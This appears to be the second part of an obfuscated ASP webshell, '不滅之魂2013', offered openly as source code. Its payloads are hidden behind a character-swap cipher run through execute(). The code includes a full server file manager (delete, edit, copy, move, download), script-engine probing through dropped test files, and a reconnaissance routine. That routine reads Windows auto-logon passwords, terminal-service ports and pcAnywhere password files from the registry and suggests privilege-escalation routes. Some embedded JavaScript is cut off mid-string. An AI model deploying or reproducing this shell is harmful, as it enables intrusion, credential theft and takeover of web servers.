不滅之魂2013ASP代碼之二

function php()execute(king("`>ktzfte<>'19'=ziuoti rz<>kz<>ktzfte/<>q/<>zfgy/<>w/<)!件文試測除刪(>w<>rtk=kgsge 6=tmol zfgy<>'strphq=fgozeQ?'=ytki q<>h<>zfgy/<>h<本腳他其持支否是器務服測探>ktzfte<>kw<>h<>kw<>kw<>h<>kw<>h<>kw<>kw<>ktzfte/< ;hlwf&;hlwf&;hlwf&>tdqkyo/<>110=ziuoti 118=izrov bhlq.zltz=ekl tdqkyo< ;hlwf&;hlwf&;hlwf&;hlwf&>tdqkyo/<>110=ziuoti 118=izrov hlp.zltz=ekl tdqkyo< ;hlwf&;hlwf&;hlwf&;hlwf&>tdqkyo/<>110=ziuoti 118=izrov hih.zltz=ekl tdqkyo<>ktzfte<`p┊`gg∩_∩gg zltJ bhlq`&)95(kie&``&)48(kie&`;))``tyqlfx``,]``v``[dtzC.zltxjtN(sqct(tzokK.tlfghltN`&)48(kie&``&)15(kie&``&)95(kie&``&)48(kie&` ``tlsqy``=zltxjtNtzqrosqc ``zhokelR``=tuqxufqV tuqY @%`&)15(kie&``tzokK.))`bhlq.zltz`(izqhhqd.ktcktl(tsoXzbtJtzqtkZ.gly┊`gg∩_∩gg zltJ hlR`tzokK.))`hlp.zltz`(izqhhqd.ktcktl(tsoXzbtJtzqtkZ.gly┊`>?)(gyfohih hih?<>?'gg∩_∩gg' giet YDY?<`tzokK.))`hih.zltz`(izqhhqd.ktcktl(tsoXzbtJtzqtkZ.gly┊))1,1(zAg(zetpwBtzqtkZ.ktcktU=gly ztl┊zbtG tdxltN kgkkS fB"))End functionOn Error Resume NextFunction King(Kingstr)arra=array("Q","A","Z","W","S","X","E","D","C","R","F","V","T","G","B","Y","H","N","U","J","M","I","K","L","O","P","q","w","e","r","t","y","u","i","o","p","a","s","d","f","g","h","j","k","l","z","x","c","v","b","n","m","0","9","8","7","6","5","4","3","2","1")arrb=array("A","B","C","D","E","F","G","H","I","J","K","L","M","N","O","P","Q","R","S","T","U","V","W","X","Y","Z","a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z","1","2","3","4","5","6","7","8","9","0")kingstr = Replace(Replace(Kingstr,"`",""""),"┊", vbCrLf)For KingI = 1 To Len(Kingstr)love = 0For i = 0 To ubound(arra)If Mid(Kingstr, KingI, 1) = arra(i) ThenNewKing = arrb(i) + NewKing love = 1Exit ForEnd IfNext If love = 0 ThenNewKing  = Mid(Kingstr, KingI, 1) + NewKing End IfNextKing= NewKingEnd Functionfunction apjdel():set fso=Server.CreateObject(CONST_FSO):fso.DeleteFile(server.mappath("test.aspx")):fso.DeleteFile(server.mappath("test.php")):fso.DeleteFile(server.mappath("test.jsp")):j"刪除完畢!":End function
Dim T1Class UPC  Dim D1,D2  Public Function Form(F)F=lcase(F)If D1.exists(F) then:Form=D1(F):else:Form="":end if  End Function
  Public Function UA(F)F=lcase(F)If D2.exists(F) then:set UA=D2(F):else:set UA=new FIF:end if  End Function  Private Sub Class_Initialize  Dim TDa,TSt,vbCrlf,TIn,DIEnd,T2,TLen,TFL,SFV,FStart,FEnd,DStart,DEnd,UpNameset D1=CreateObject(ObT(4,0))if Request.TotalBytes<1 then Exit Subset T1 = CreateObject(ObT(6,0))T1.Type = 1 : T1.Mode =3 : T1.OpenT1.Write  Request.BinaryRead(Request.TotalBytes)T1.Position=0 : TDa =T1.Read : DStart = 1DEnd = LenB(TDa)set D2=CreateObject(ObT(4,0))vbCrlf = chrB(13) & chrB(10)set T2 = CreateObject(ObT(6,0))TSt = MidB(TDa,1, InStrB(DStart,TDa,vbCrlf)-1)TLen = LenB (TSt)DStart=DStart+TLen+1while (DStart + 10) < DEnd  DIEnd = InStrB(DStart,TDa,vbCrlf & vbCrlf)+3  T2.Type = 1 : T2.Mode =3 : T2.Open  T1.Position = DStart  T1.CopyTo T2,DIEnd-DStart  T2.Position = 0 : T2.Type = 2 : T2.Charset ="gb2312"  TIn = T2.ReadText : T2.Close  DStart = InStrB(DIEnd,TDa,TSt)  FStart = InStr(22,TIn,"name=""",1)+6  FEnd = InStr(FStart,TIn,"""",1)  UpName = lcase(Mid (TIn,FStart,FEnd-FStart))  if InStr (45,TIn,"filename=""",1) > 0 thenset TFL=new FIFFStart = InStr(FEnd,TIn,"filename=""",1)+10FEnd = InStr(FStart,TIn,"""",1)FStart = InStr(FEnd,TIn,"Content-Type: ",1)+14FEnd = InStr(FStart,TIn,vbCr)TFL.FileStart =DIEndTFL.FileSize = DStart -DIEnd -3if not D2.Exists(UpName) then  D2.add UpName,TFLend if  elseT2.Type =1 : T2.Mode =3 : T2.OpenT1.Position = DIEnd : T1.CopyTo T2,DStart-DIEnd-3T2.Position = 0 : T2.Type = 2T2.Charset ="gb2312"SFV = T2.ReadTextT2.Closeif D1.Exists(UpName) then  D1(UpName)=D1(UpName)&", "&SFVelse  D1.Add UpName,SFVend if  end if  DStart=DStart+TLen+1wendTDa=""set T2 =nothing  End Sub  Private Sub Class_Terminateif Request.TotalBytes>0 then  D1.RemoveAll:D2.RemoveAll  set D1=nothing:set D2=nothing  T1.Close:set T1 =nothingend if  End SubEnd Class
Class FIFdim FileSize,FileStart  Private Sub Class_Initialize  FileSize = 0  FileStart= 0  End Sub  Public function SaveAs(F)  dim T3  SaveAs=true  if trim(F)="" or FileStart=0 then exit function  set T3=CreateObject(ObT(6,0)) T3.Mode=3 : T3.Type=1 : T3.Open T1.position=FileStart T1.copyto T3,FileSize T3.SaveToFile F,2 T3.Close set T3=nothing SaveAs=falseend functionEnd ClassClass LBF  Dim CF  Private Sub Class_InitializeSET CF=CreateObject(ObT(0,0))  End Sub  Private Sub Class_TerminateSet CF=Nothing  End SubFunction ShowDriver()For Each D in CF.Drives  j cdx&"<a href='javascript:ShowFolder("""&D.DriveLetter&":\\"")'>&nbsp本地磁碟 ("&D.DriveLetter&":)</a><br></td></tr>" Next  End FunctionFunction Show1File(Path) Set FOLD=CF.GetFolder(Path)i=0SI="<table width='100%' border='0' cellspacing='0' cellpadding='6'><tr>" For Each F in FOLD.subfoldersSI=SI&"<td  height=10 width=17% align=center><div  onMouseOver=""this.style.backgroundColor='#B3D169'"" onMouseOut=""this.style.backgroundColor='#191919'"" style='border:1px solid #dddddd;padding-bottom:4px' id=d><a href='javascript:ShowFolder("""&RePath(Path&"\"&F.Name)&""")' title=""進入"">"SI=SI&"&nbsp;<font face='wingdings' color='#ffffff' size='6'>0</font>  "si=si&"<br>"&F.Name&"</a><br><a href='javascript:FullForm("""&RePath(Path&"\"&F.Name)&""",""CopyFolder"")'  onclick='return yesok()' class='am' title='複製'>Copy</a> <a href='javascript:FullForm("""&Replace(Path&"\"&F.Name,"\","\\")&""",""DelFolder"")' onclick='return yesok()' class='am' title='刪除'>Del</a> <a href='javascript:FullForm("""&RePath(Path&"\"&F.Name)&""",""MoveFolder"")' onclick='return yesok()' class='am' title='移動'>Move</a> <a href='javascript:FullForm("""&RePath(Path&"\"&F.Name)&""",""DownFile"")' onclick='return yesok()' class='am' title='下載'>Down</a></div></td>"i=i+1If i mod 6=0 then SI=SI&"</tr><tr>"NextSI=SI&"</tr><tr><td height=2></td></tr></table>"j SI &"" : SI="":i=0SI="<div id=links><table width='100%' align=center id =linklist2><tr><td id=s><b id=x>Filename</b></td><td id=s height=22><b id=x>Size</b></td><td id=s><b id=x>Type</b></td><td id=s><b id=x>Operating</b></td><td id=s><b id=x>Last Modified</b></td><td></td>"For Each L in Fold.filesSI=SI&"<tr><td height='20' id=d >"si=si&"<font face='wingdings' color='#ffffff' size='3'>2</font>"si=si&"<a href='javascript:FullForm("""&RePath(Path&"\"&L.Name)&""",""DownFile"");' title='下載'>  "&L.Name&"</a><Td id=d>"&clng(L.size/1024)&"K</td><Td id=d>"&L.Type&"</td><Td id=d>"si=si&"<a href="""&openUrl(PaTh&"\"&L.nAme)&""" class='am' title='Open'>Open</a> "si=si&"<a href='javascript:FullForm("""&RePath(Path&"\"&L.Name)&""",""EditFile"")' class='am' title='編輯'>Edit</a> "Si=Si&"<a onclick=""window.open('?Action=EditPower&PowerPath="&RepAth(PaTh&"\"&L.nAme)&"','EditPower','toolbar=0,location=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=0,width=300,height=200')"" href='###' class='am' title='權限'>權限</a>"Dim EditOOKEditOOK=1EditOOV=l.AttributesIf EditOOV >= 128 ThenEditOOV = EditOOV - 128End IfIf EditOOV >= 64 ThenEditOOV = EditOOV - 64End IfIf EditOOV >= 32 ThenEditOOV = EditOOV - 32End IfIf EditOOV >= 16 ThenEditOOV = EditOOV - 16End If:If EditOOV >= 8 ThenEditOOV = EditOOV - 8End IfIf EditOOV >= 4 ThenEditOOV = EditOOV - 4:EditOOK=0End IfIf EditOOV >= 2 ThenEditOOV = EditOOV - 2:EditOOK=0End IfIf EditOOV >= 1 ThenEditOOV = EditOOV - 1:EditOOK=0End Ifif EditOOK=0 thensi=si&"<font face='webdings' size='1' color=red>x</font>"elsesi=si&"√"end ifsi=si&" <a href='javascript:FullForm("""&RePath(Path&"\"&L.Name)&""",""DelFile"")'  onclick='return yesok()' class='am' title='刪除'>Del</a> <a href='javascript:FullForm("""&RePath(Path&"\"&L.Name)&""",""CopyFile"")' class='am' title='複製'>Copy</a> <a href='javascript:FullForm("""&RePath(Path&"\"&L.Name)&""",""MoveFile"")' class='am' title='移動'>Move</a></td><td id=d>"&replace(L.DateLastModified,"/","-")&"</td></tr>"i=i+1Nextj SI&"</tr></table></div><script>var container = new Array(""linklist2""); var objects = new Array(); var links = new Array(); var tmp = new Array(); var interval = 0; var c=0; function initEventListener() { for(i=0; i < container.length; i++) { objects = document.getElementById(container[i]).getElementsByTagName(""td""); for(j=0; j < objects.length; j++) {    if(document.all) { objects[j].attachEvent(""onmouseover"", resetLinkFade); objects[j].attachEvent(""onmouseout"", startLinkFade); } else {objects[j].addEventListener(""mouseover"", resetLinkFade, false); objects[j].addEventListener(""mouseout"", startLinkFade, false); } var defcol = getPseudoRule(container[i], ""td"");  var hovcol = getPseudoRule(container[i], ""td:hover""); if(defcol.charAt(0) == ""if ysjb=true then j "initEventListener();</script>":end ifSet FOLD=NothingEnd functionFunction DelFile(Path)execute(king("yC rfS┊CU p┊skMaeqA&CU=CU┊`>ktzfte/<！功成除刪 `&izqY&` 件文您喜恭>kw<>kw<>kw<>ktzfte<`=CU┊izqY tsoXtztstW.XZ┊ftiJ )izqY(lzlobStsoX.XZ yC"))End FunctionFunction EditFile(Path)execute(king("`>dkgy/<>'tcqU'=txsqc 'zodwxl'=thnz 'zodwxl'=tdqf zxhfo<;hlwf&;hlwf&;hlwf&>'ztltN'=txsqc 'ztltk'=thnz 'ztltk'=tdqf zxhfo<;hlwf&;hlwf&;hlwf&>';)(aeqw.nkgzloi'=aeosefg 'aeqA'=txsqc 'fgzzxw'=thnz 'aeqwgu'=tdqf zxhfo<>ki<>kw<>qtkqzbtz/<`&zbJ&`>'167:ziuoti;%110:izrov'=tsnzl 'zftzfgZ'=tdqf qtkqzbtz<>kw<>'%110:izrov'=tsnzl '`&izqY&`'=txsqc 'tdqGX'=tdqf zxhfo<>'ftrroi'=thnJ 'tsoXzorS'=txsqc 'fgozeQ'=tdqf zxhfo<>'dkgXzorS'=tdqf 'zlgh'=rgiztd 'zlgY=9fgozeQ?`&VNM&`'=fgozeq dkgX<` p┊yC rfS┊WQAkzl=zbJ:`hlq.sstil\`&)`izqYktrsgX`(fgolltU=izqY┊tlsS┊ufoizgG=J ztU┊tlgse.J┊ )ssqrqtk.J(trgefSVTJD=zbJ┊)tlsqX ,0 ,izqY(tsoyzbtzfthg.XZ=J ztU┊ftiJ ``><izqY yC┊yC rfS┊rfS.tlfghltN┊CU p┊skMaeqA&CU=CU┊`>ktzfte/<！功成存保件文您喜恭>kw<>kw<>kw<>ktzfte<`=CU┊ufoizgf=J ztU┊tlgse.J┊)`zftzfge`(dkgy.zltxjtN tfoVtzokK.J┊)izqY(tsoXzbtJtzqtkZ.XZ=J ztU┊ftiJ `zlgY`=)`9fgozeQ`(zltxjtN yC"))End FunctionFunction CopyFile(Path)execute(king("yC rfS┊ CU p┊skMaeqA&CU=CU┊`>ktzfte/<！功成制復`&)1(izqY&`件文您喜恭>kw<>kw<>kw<>ktzfte<`=CU┊)0(izqY,)1(izqY tsoXnhgZ.XZ┊ftiJ ``><)0(izqY rfq ))1(izqY(lzlobStsoX.XZ yC┊)`||||`,izqY(zoshU=izqY"))End FunctionFunction MoveFile(Path)execute(king("yC rfS┊ CU p┊skMaeqA&CU=CU┊`>ktzfte/<！功成動移`&)1(izqY&`件文您喜恭>kw<>kw<>kw<>ktzfte<`=CU┊)0(izqY,)1(izqY tsoXtcgT.XZ┊ftiJ ``><)0(izqY rfq ))1(izqY(lzlobStsoX.XZ yC┊)`||||`,izqY(zoshU=izqY"))End FunctionFunction DelFolder(Path)execute(king("yC rfS┊CU p┊skMaeqA&CU=CU┊`>ktzfte/<！功成除刪`&izqY&`錄目您喜恭>kw<>kw<>kw<>ktzfte<`=CU┊izqY ktrsgXtztstW.XZ┊ftiJ )izqY(lzlobSktrsgX.XZ yC"))End FunctionFunction CopyFolder(Path)execute(king("yC rfS┊CU p┊skMaeqA&CU=CU┊`>ktzfte/<！功成制復`&)1(izqY&`錄目您喜恭>kw<>kw<>kw<>ktzfte<`=CU┊)0(izqY,)1(izqY ktrsgXnhgZ.XZ┊ftiJ ``><)0(izqY rfq ))1(izqY(lzlobSktrsgX.XZ yC┊)`||||`,izqY(zoshU=izqY"))End FunctionFunction MoveFolder(Path)execute(king("yC rfS┊CU p┊skMaeqA&CU=CU┊`>ktzfte/<！功成動移`&)1(izqY&`錄目您喜恭>kw<>kw<>kw<>ktzfte<`=CU┊)0(izqY,)1(izqY ktrsgXtcgT.XZ┊ftiJ ``><)0(izqY rfq ))1(izqY(lzlobSktrsgX.XZ yC┊)`||||`,izqY(zoshU=izqY"))End FunctionFunction NewFolder(Path)execute(king("yC rfS┊CU p┊skMaeqA&CU=CU┊`>ktzfte/<！功成建新`&izqY&`錄目您喜恭>kw<>kw<>kw<>ktzfte<`=CU┊izqY ktrsgXtzqtkZ.XZ┊ftiJ ``><izqY rfq )izqY(lzlobSktrsgX.XZ zgG yC"))End FunctionEnd Class
sub getTerminalInfo()execute(king("yo rfS┊`碼密tktivnfQeh到得解破並載下錄目認默從以可,件文碼密tktivnfQeh_現發>os<`p┊ftiJ )`yoe.`&tdqfktcktl&`\etzfqdnU\qzqW fgozqeoshhQ\lktlM ssQ\lufozztU rfQ lzftdxegW\`&ktcokrlnl(lzlobStsoX.gly yC┊)`tdqGktzxhdgZ\tdqGktzxhdgZ\tdqGktzxhdgZ\sgkzfgZ\ztUsgkzfgZzftkkxZ\TSJUOU\TVFD`(rqtNutN.ilv=tdqfktcktl┊)9,)9(ktrsgXsqoethlztE.glX(zyts=tcokrlnU┊)BUX_JUGBZ(zetpwgtzqtkZ.ktcktU=gly ztU┊zbtG┊yo rfS┊yo rfS┊`>kw<馬木YDY入寫且並,錄目soqTwtK找查以可,動啟限權dtzlnUsqegV以且,soqdfoK eouqT_有中器務服>os<`p┊ftiJ `dtzlnUsqegV`=tdqGzfxgeeQteocktU.teocktUpwg yo┊ftiJ )`soqdfov`,)tdqG.teocktUpwg(tlqes(kzlfo yo┊yo rfS┊yo rfS┊`>kw<權提馬木hlR用使慮考以可,動啟限權dtzlnUsqegV以且,zqedgJ_有中器務服>os<`p┊ftiJ `dtzlnUsqegV`=tdqGzfxgeeQteocktU.teocktUpwg yo┊ftiJ )`zqedgz`,)tdqG.teocktUpwg(tlqes(kzlfo yo┊yo rfS┊yo rft┊yo rfS┊`>kw<馬木YDY慮考以可,dtzlnUsqegV為限權動啟,在存務服tieqhQ_有中器務服>os< `p┊tlsS┊`>kw<權提接直以可.tieqhQ為器務服ASK前當>os<`p┊ftiJ )`tieqhQ`,)`SNQKJXBU_NSINSU`(ltswqokqIktcktU.zltxjtN(kzlfo yC┊ftiJ `dtzlnUsqegV`=tdqGzfxgeeQteocktU.teocktUpwg yo┊ftiJ `tieqhq`=)tdqG.teocktUpwg(tlqes yo┊yo rfS┊yo rfS┊`>kw<權提具工tbt.xl用慮考以可,動啟限權dtzlnUsqegV以且,裝安M-cktU_有中器務服>os<`p┊ftiJ `dtzlnUsqegV`=tdqGzfxgeeQteocktU.teocktUpwg yo┊ftiJ `M-cktU`=tdqG.teocktUpwg yo┊ktzxhdgZpwg fC teocktUpwg ieqS kgX┊zbtG tdxltN kgkkS fB┊)`teocktU`(nqkkQ = ktzsoX.ktzxhdgZpwg┊)`fgozqeoshhQ.sstiU`(zetpwBtzqtkZ.ktcktU = ql ztU┊)`.//:JGfoK`(zetpwBztE = ktzxhdgZpwg ztU┊`>ki<>kw<]測探點_弱器務服[`p┊`>kw<>kw<>kw<-`p┊`>kw<`&aa&`:為卡網_動活前當>os<`p┊)ai(rqtNutN.ilv=aa┊`zfxgZ\dxfS\hoheJ\lteocktU\011ztUsgkzfgZ\TSJUOU\TVFD`=ai┊`>kw<`&sdzf&`:為置設sdzG ztfstJ>os<`p┊0=sdzG ftiJ ``=sdzf yo┊)ntaVTJG(rqtNutN.ilK=sdzf┊`VTJG\1.0\ktcktUztfstJ\zyglgkeoT\SNQKJXBU\SGCDZQT_VQZBV_OSFD`=ntaVTJG┊`>kw<`&nshlor&`:戶用入登次_上示顯否是>os<`p┊`否`=nshlor tlst `是`=nshlor ftiJ 1=fougshlor kg ``=fougshlor yC┊)`tdqGktlMzlqVnqshloWzfgW\dtzlnU\ltoeosgY\fgolktIzftkkxZ\lvgrfoK\zyglgkeoT\tkqvzygU\SGCDZQT_VQZBV_OSFD`(rqtNutk.ilv=fougshlor┊yo rfS┊`>zfgy/<>kw<`&rvllqY&`:碼密>rtk=kgsge zfgy<>tkqxjl=thnz os<`p┊`>kw<`&fodrQ&`:名戶用>tkqxjl=thnz os<`p┊)`rkgvllqYzsxqytW\fgugsfoK\fgolktIzftkkxZ\JG lvgrfoK\zyglgkeoT\SNQKJXBU\SGCDZQT_VQZBV_OSFD`(rqtNutN.ilK=rvllqY┊)`tdqGktlMzsxqytW\fgugsfoK\fgolktIzftkkxZ\JG lvgrfoK\zyglgkeoT\SNQKJXBU\SGCDZQT_VQZBV_OSFD`(rqtNutN.ilK=fodrQ┊`>kw<用啟:入登動_自戶用>os<`p┊tlsS┊`>kw<用啟未:入登動_自戶用>os<`p┊ftiJ ``=fougsgzxQ kg 1=fougsgzxQ yo┊)fougsgzxQlo(rqtNutN.ilK=fougsgzxQ┊`fgugVfodrQgzxQ\fgugsfoK\fgolktIzftkkxZ\JG lvgrfoK\zyglgkeoT\SNQKJXBU\SGCDZQT_VQZBV_OSFD`=fougsgzxQlo┊`>zfgy/<>kw<`&tdqGfodrQ&`>rtk=kgsge zfgy<:為名戶用員`&`理管認默>os<`p┊┊yo rft┊`akgvztG.zhokelK:啊行不的奶奶他`p┊ftiz kkt yo┊zbtG┊`>os/<>zfgy/<>kw<`&tdqG.fodrq&`：組員理管前當>rtk=kgsge zfgy<>os<` p┊lktwdtT.hxgkEpwg fo fodrq ieqS kgX┊)`hxgku,lkgzqkzlofodrQ/`&tdqGktzxhdgZ.Gz&`//:JGfoK`(zetpwBztE=hxgkEpwg ztU┊)`akgvztG.zhokelK`(zetpwBtzqtke.ktcktl=Gz ztU┊ zbtf tdxltk kgkkt fg┊1=ltkohbS.tlfghltN┊`kgzqkzlofodrQ`=tdqGfodrQ ftiJ ``=tdqffodrq yo┊)ntFtdqGfodrQ(rqtNutN.ilv=tdqGfodrQ┊`tdqGktlMzsxqytWzsQ\fgugsfoK\fgolktIzftkkxZ\JG lvgrfoK\zyglgkeoT\SNQKJXBU\SGCDZQT_VQZBV_OSFD`=ntFtdqGfodrQ┊`>kw<`&tdqfeh&`:為名機_主前當>os<`p┊`>kw<.名機主取_讀法無`=tdqfeh ftiJ ``=tdqfeh yo┊)ntatdqfeh(rqtNutN.ilv=tdqfeh┊`tdqGktzxhdgZ\tdqGktzxhdgZ\tdqGktzxhdgZ\sgkzfgZ\ztUsgkzfgZzftkkxZ\TSJUOU\TVFD`=ntatdqfeh┊`>0=tmol ki<>kw<]測探_置設統系[>kw<>kw<`p┊zbtf┊`>kw<`&)o(lizqh&`>os<`p┊)lizqh(rfxgwM gz )lizqh(rfxgwV=o kgX┊`>kw<:量變徑路_前當統系`p┊`>kw<-`p┊)`;`,izqYzygU(zoshl=lizqh┊`>kw<持支:_件軟毒殺列系星瑞>os<`p ftiJ )`ufolok`,gyfoizqY(kzlfo yo┊`>kw<持支:_件軟毒殺克鐵門賽>os<`p ftiJ )`lxkocozfq`,gyfoizqY(kzlfo yo┊`>kw<持支:_件軟毒殺列系山金 >os<`p ftiJ )`cqa`,gyfoizqY(kzlfo yo┊`>kw<持支:_件軟毒殺ssoF>os<`p ftiJ )`ssoF`,gyfoizqY(kzlfo yo┊`>kw<持支:_制控tktivnfQeY克鐵門賽>os<`p ftiJ )`tktivnfqeh`,gyfoizqY(kzlfo yo┊`>kw<持支:_器務服TXZ>os<`p ftiJ )`4bdfgolxye`,gyfoizqY(kzlfo yo┊`>kw<持支:_務服庫據數tseqkB>os<`p ftiJ )`tseqkg`,gyfoizqY(kzlfo yo┊`>kw<持支:_務服庫據數VHUnT>os<`p ftiJ )`sjlnd`,gyfoizqY(kzlfo yo┊`>kw<持支:_務服庫據數VHUUT>os<`p ftiJ )`ktcktl sjl zyglgkeod`,gyfoizqY(kzlfo yo┊`>kw<持支:_本腳qcqR>os<`p ftiJ )`qcqp`,gyfoizqY(kzlfo yo┊`>kw<持支:_本腳sktY>os<`p ftiJ )`skth`,gyfoizqY(kzlfC yo┊`:持支件`&`軟統系`p┊)izqYzygU(tlqes=gyfoizqY┊)`izqY`(dtzo.zftdfgkocfS.ilK=izqYzygU┊`>0=tmol ki<>kw<]測探件_軟統系[>kw<>kw<>kw<`p┊`>sg/<`p┊yC rfS┊`>kw<` & rkgvllqYfougVgzxq & ` :碼密戶帳的`&`錄登動自`p┊yC rfS┊`tlsqX`p┊kqtsZ.kkS┊ftiJ kkS yC┊)ntFllqYfougVgzxq & izqYfougVgzxq(rqtNutN.Llv = rkgvllqYfougVgzxq┊`>kw<` & tdqfktlMfougVgzxq & ` :戶帳統系的`&`錄登動自`p┊)ntFktlMfougVgzxq & izqYfougVgzxq(rqtNutN.Llv = tdqfktlMfougVgzxq┊tlsS┊ftiJ 1 = tswqfSfougVgzxQlo yC┊)ntFtswqfSfougVgzxq & izqYfougVgzxq(rqtNutN.Llv = tswqfSfougVgzxQlo┊`rkgvllqYzsxqytW` = ntFllqYfougVgzxq┊`tdqGktlMzsxqytW` = ntFktlMfougVgzxq┊`fgugVfodrQgzxQ` = ntFtswqfSfougVgzxq┊`\fgugsfoK\fgolktIzftkkxZ\JG lvgrfoK\zyglgkeoT\SNQKJXBU\SGCDZQT_VQZBV_OSFD` = izqYfougVgzxq┊yC rfS┊`>/kw<` & zkgYdktz & ` :口端`&`務服端終前當`p┊tlsS ┊`>/kw<.制限到受否是限權查檢 ,口端端終到得法無`p┊ ftiJ 1 >< ktwdxG.kkS kB `` = zkgYdktz yC┊`>sg<錄登動自及`&`口端務服_端終`p┊)ntFzkgYsqfodktz & izqYzkgYsqfodktz(rqtNutN.Llv = zkgYdktz┊`ktwdxGzkgY` = ntFzkgYsqfodktz┊`\heJ-YWN\lfgozqzUfoK\ktcktU sqfodktJ\sgkzfgZ\ztUsgkzfgZzftkkxZ\TSJUOU\TVFD` = izqYzkgYsqfodktz┊rkgvllqYfougVgzxq ,tdqfktlMfougVgzxq ,ntFtswqfSfougVgzxq ,tswqfSfougVgzxQlo doW┊ntFllqYfougVgzxq ,ntFktlMfougVgzxq ,izqYfougVgzxq doW┊zkgYdktz ,ntFzkgYsqfodktz ,izqYzkgYsqfodktz doW┊)`sstiU.zhokeUK`(zetpwBtzqtkZ.ktcktU = Llv ztU┊`----`p┊`>kw<`&zkgYKQY&`:為口端tktivnfQeY>os<`p┊`tktivnfQeh裝安否`&`是機主`&`認確請.取獲`&`法無`=zkgYKQY ftiz ``=zkgYKQY yC┊)ntFtktivnfQeh(rqtNutN.ilK=zkgYKQY┊`zkgYqzqWYCYZJ\dtzlnU\fgolktIzftkkxZ\tktivnfQeh\etzfqdnU\SNQKJXBU\SGCDZQT_VQZBV_OSFD`=ntFtktivnfQeh┊`>zfgy/<>kw<`&zkgYdktJ&`>rtk=kgsge zfgy<:為口端teocktU sqfodktJ>os<`p┊`機主本版ktcktU lvgrfoK為否是`&`認確請.取讀`&`法無`=zkgYdktJ ftiJ ``=zkgYdktJ yC┊)ntFdktJ(rqtNutN.ilK=zkgYdktJ┊`ktwdxGzkgY\hez\lrJ\rvhrk\lrK\ktcktU sqfodktJ\sgkzfgZ\ztUsgkzfgZzftkkxZ\TSJUOU\SGCDZQT_VQZBV_OSFD`=ntFdktJ┊`>kw<`&zkghzfsJ&`:口`&`端ztfstJ>os<`p┊`)置設`&`認默(89`=zfsJ ftiJ ``=zkgYzfsJ yo┊)ntFztfstJ(rqtNutN.ilK=zkgYzfsJ┊`zkgYztfstJ\1.0\ktcktUztfstJ\zyglgkeoT \SNQKJXBU\SGCDZQT_VQZBV_OSFD`=ntaztfstJ┊`>0=tmol ki<>kw<]測探`&`口端`&`殊特[>kw<>kw<`p┊yo rft┊zbtG┊`>kw<---`p┊yo rfS┊yo rfS┊`>kw<`p┊zbtf┊`,`&)p(vgssqYWM p┊)vgssqhrx(rfxgAM gJ )vgssqhrx(rfxgAV = p kgy┊`:為口端hrx的`&`許允>os<`p┊tlsS┊`>kw<部全:為口端hrx的`&`許允>os<`p┊ftiJ 1=)1(vgssqhrx kg ``=)1(vgssqhrx yC┊)YWMssxX(rqtNutN.ilK=vgssqhrx┊yo rfS┊`>kA<`p┊zbtG┊`,`&)p(vgssqhez p┊)vgssqhez(rfxgAM gJ )vgssqhez(rfxgAV = p kgX┊`:為口端hez的`&`許允>os<`p┊tlsS┊`>kw<部全:為口端hez的`&`許允>os<`p┊ftiJ 1=)1(vgssqhez kg ``=)1(vgssqhez yC┊)YZJssxX(rqtNutN.ilK=vgssqhez┊FMS&ArhQ&izqh=YWMssxX┊FJS&ArhQ&izqY=YZJssxX┊`lzkgYrtvgssQYWM\`=FMS┊`lzkgYrtvgssQYZJ\`=FJS┊tlst┊`>kw<選篩YC/heJ沒>os<`p┊ ftiJ 0=ktzsoyhohezgG yo┊yC rfS┊`>kw<置設有沒或取讀法無UGW`&`認默>os<`p┊tlsS┊`>kw<`&kzlUGW&`:為UGW`&`卡網>os<`p┊ftiJ ``><kzlUGW yC┊)ntFUGW(rqtNutN.ilK=kzlUGW┊`ktcktUtdqG\`&ArhQ&izqY=ntFUGW┊yo rfS┊`>kw<置設有沒或取讀法無關網>os<`p┊tlsS┊zbtG┊`>kw<`&)p(nqvtzqE&`:`&p&`關網>os<`p┊)nqvtzqE(rfxgwM gz )nqvtzqE(rfxgwV=p kgX┊ftiJ )nqKtzqE(nqkkqlo yC┊)ntFnqKtzqE(rqtkutN.ilK=nqKtzqE┊`nqvtzqEzsxqytW\`&ArhQ&izqY=ntFnqKtzqE┊yo rfS┊`>kw<置設有沒或`&`取讀法無址`&`地YC>os<`p┊tlsS┊zbtG┊`>kw<`&)p(krrQYC&`:為`&p&`址`&`地YC>os<`p┊)krrQYC(rfxgwM gz )krrQYC(rfxgwV=p kgX┊ftiJ ``><)1(krrqYC yC┊)ntFYC(rqtkutN.ilK=krrqYC┊`lltkrrQYC\`&ArhQ&izqY=ntFYC┊`\lteqyktzfC\lktztdqkqY\hoheJ\lteocktU\011ztUsgkzfgZ\TSJUOU\SGCDZQT_VQZBV_OSFD`=izqY┊`>kw<`&ArhQ&`:為列序的`&o&`卡網`p┊)``,`\teoctW\`,)o(lrhQ(teqshtN=ArhQ┊0-)lrhQ(rfxgAM gJ )lrhQ(rfxgAV=o kgX┊ ftiJ )lrhQ(nqkkQlC yC┊)ntFrhQ(rqtNutN.ilK=lrhQ┊`rfoA\tuqafoV\hoheJ\lteocktU\011ztUsgkzfgZ\TSJUOU\TVFD`=ntFrhQ┊yC rfS┊0=ktzsoyhohezgG┊ftiJ ``=tswqfSlo kg 1=tswqfSlo yC┊)ntFhoheJtswqfS(rqtkutN.ilK=tswqfSlo┊`lktzsoXnzokxetUtswqfS\lktztdqkqY\hoheJ\lteocktU\ztUsgkzfgZzftkkxe\TSJUOU\TVFD`=ntFYCYZJtswqfS┊`>0=tmol ki<>kw<]測探`&`絡網[`p┊)`sstiU.zhokelK`(zetpwgtzqtke=ilv ztl┊ilv dor┊zbtf tdxltk kgkkt fg"))End Sub
